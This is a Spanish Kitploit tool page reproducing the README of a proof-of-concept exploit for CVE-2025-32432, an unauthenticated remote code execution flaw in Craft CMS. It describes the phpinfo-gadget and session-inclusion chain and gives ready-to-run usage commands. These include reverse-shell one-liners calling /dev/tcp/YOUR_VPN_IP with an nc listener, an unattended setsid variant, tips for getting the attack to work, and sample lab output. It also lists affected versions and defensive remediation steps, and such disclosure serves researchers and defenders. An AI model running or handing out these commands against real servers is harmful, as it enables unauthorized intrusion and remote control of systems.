Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-32432-POC | Kitploit
Herramientas/GitHubGitHub/theeomega/cve-2025-32432-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

Ver Repositorio
hace 28 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC de objetivo único para Craft CMS CVE-2025-32432

Solo pruebas autorizadas. Este repositorio está pensado para entornos de laboratorio controlados, plataformas CTF como Hack The Box, validación interna y verificación defensiva. No lo ejecutes contra sistemas que no te pertenezcan o para los que no tengas permiso explícito de prueba.

Descripción general

Este proyecto contiene una prueba de concepto de objetivo único para CVE-2025-32432, un problema de ejecución remota de código en Craft CMS que no requiere autenticación.

El PoC realiza dos etapas:

  1. Confirmación de la vulnerabilidad mediante un gadget phpinfo() a través del endpoint de generación de transformaciones de assets de Craft CMS.
  2. Ejecución opcional de comandos mediante una cadena de inclusión de archivos de sesión en dos pasos.

El script está diseñado para evitar un problema común de falsos negativos visto en algunos PoCs públicos: una solicitud normal de transformación de imagen puede devolver 404, mientras que el mismo endpoint y assetId siguen funcionando cuando se utiliza la carga útil del gadget real.

Versiones afectadas

Según el aviso oficial de Craft CMS y las bases de datos públicas de avisos, los rangos afectados son:

Actualiza a una versión corregida de inmediato si eres responsable de un despliegue de Craft CMS.

Resumen técnico

El PoC sigue este flujo:

root@kitploit:~
Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

Detalles de implementación importantes:

  • El descubrimiento utiliza el gadget phpinfo, no una solicitud de transformación normal.
  • Los comandos se pasan como hex para evitar romper la cadena de consulta con espacios, comillas, tuberías o ampersands.
  • Los directorios de sesión PHP predeterminados que se prueban son:
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • Se incluye una opción --timeout para escenarios de reverse shell.

Archivos

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

Requisitos

  • Python 3.9+
  • requests
  • urllib3

Instala las dependencias:

root@kitploit:~
python3 -m pip install requests urllib3

Uso

1. Modo solo verificación

Esto confirma la vulnerabilidad usando solo el gadget phpinfo.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

Salida esperada en caso de éxito:

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

La respuesta de phpinfo se guarda como:

root@kitploit:~
phpinfo_success.html

2. Ejecutar un comando simple

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

Ejemplo de salida correcta:

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. Usar un endpoint y un ID de asset conocidos

Usa esto cuando ya conozcas los valores que funcionan.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. Front controller personalizado

Algunos objetivos pueden usar un front controller personalizado como x.php.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

Esto prueba rutas como:

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. Uso de reverse shell

Primero inicia un listener:

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

Luego ejecuta el PoC con un comando de reverse shell:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 deshabilita el tiempo de espera de la solicitud. Esto es útil porque las reverse shells suelen mantener abierta la solicitud HTTP.

Variante desatendida:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

Opciones

Solución de problemas

assetId 0 -> HTTP 404 durante el escaneo normal

No te bases en una solicitud de transformación normal para el descubrimiento. Algunos objetivos devuelven 404 para un cuerpo de transformación normal, pero aun así ejecutan la carga útil del gadget.

Este PoC descubre combinaciones válidas usando el propio gadget phpinfo.

phpinfo funciona, pero la ejecución de comandos falla

Prueba a especificar el directorio de sesiones manualmente:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

Luego prueba:

root@kitploit:~
--session-dir /var/lib/php/session

o:

root@kitploit:~
--session-dir /tmp

La reverse shell se conecta y luego muere rápidamente

Usa uno de estos enfoques:

  1. Desactiva el tiempo de espera de la solicitud:
root@kitploit:~
--timeout 0
  1. Usa una carga útil desatendida con setsid o nohup.

  2. Confirma que tu IP de callback es correcta:

root@kitploit:~
ip -br a | grep tun

Tiempo de espera de lectura durante la reverse shell

Esto puede ser normal si la reverse shell se conectó correctamente. Revisa tu listener antes de tratar el tiempo de espera como un fallo.

Falta la salida del comando

Prueba primero un comando más simple:

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

Si los comandos simples funcionan pero los complejos fallan, cita el comando con cuidado o usa una carga útil de shell desatendida.

Ejemplo de salida de laboratorio

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Guía defensiva

Si administras una instancia de Craft CMS:

  1. Actualiza a Craft CMS 3.9.15, 4.14.15, 5.6.17 o posterior.
  2. Revisa las raíces web en busca de archivos PHP sospechosos o webshells.
  3. Revisa los directorios de sesiones de PHP y los registros del servidor web en busca de solicitudes sospechosas a rutas de transformación de assets.
  4. Rota los secretos de .env y las credenciales de la base de datos si se sospecha explotación.
  5. Restringe el acceso público a las rutas administrativas cuando sea posible.
  6. Revisa las marcas de tiempo del sistema de archivos del servidor en torno a las ventanas de compromiso sospechosas.

Referencias

  • Aviso oficial de Craft CMS: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • GitHub Advisory Database: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • Entrada de NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Análisis técnico de SensePost: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

Descargo de responsabilidad

Este proyecto se proporciona únicamente con fines educativos, de investigación, de laboratorio y de validación defensiva. El autor no es responsable del mal uso. Solo prueba sistemas que te pertenezcan o para los que tengas permiso explícito por escrito para evaluar.

Descargar herramienta
Rama de Craft CMSVersiones afectadasVersión corregida
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17
OpciónDescripciónValor por defecto
-u, --urlURL base del objetivoObligatorio
-c, --cmdComando opcional a ejecutar tras la confirmación de phpinfoNinguno
--frontNombre del front controllerindex.php
-s, --scan-maxassetId máximo a probar con el gadget phpinfo50
-a, --assetID de asset conocido que funcionaNinguno
--endpointEndpoint generate-transform conocido que funcionaNinguno
--session-dirDirectorio de sesiones de PHP. Puede indicarse varias vecesLista integrada
--timeoutTiempo de espera de la solicitud para el disparo del comando. Usa 0 para sin tiempo de espera20